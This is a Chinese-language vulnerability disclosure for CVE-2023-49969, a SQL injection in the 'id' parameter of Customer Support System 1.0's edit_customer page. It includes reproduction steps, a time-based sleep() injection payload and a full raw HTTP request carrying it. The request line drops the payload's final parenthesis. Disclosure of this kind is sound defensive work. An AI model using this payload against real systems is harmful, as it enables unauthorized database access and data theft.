描述:Customer Support System 版本 1 存在 SQL 注入漏洞。具有恶意意图的攻击者可以在编辑客户时,通过操纵 'id' URL 参数来对 MySQL 数据库执行 SQL 命令。
受影响的产品版本:Customer Support System 1.0
CVE 作者:Geraldo Alcântara
日期:2023年11月28日
确认时间:2023年12月19日
CVE:CVE-2023-49969
测试环境:Windows
1- 登录应用程序。
2- 导航到 customer_list 页面,点击“操作”按钮,选择“编辑”。
3- 'id' 参数会被传递,允许插入恶意 payload。
payload:(select*from(select(sleep(5)))a)
GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1
发现者/致谢:
Geraldo Alcântara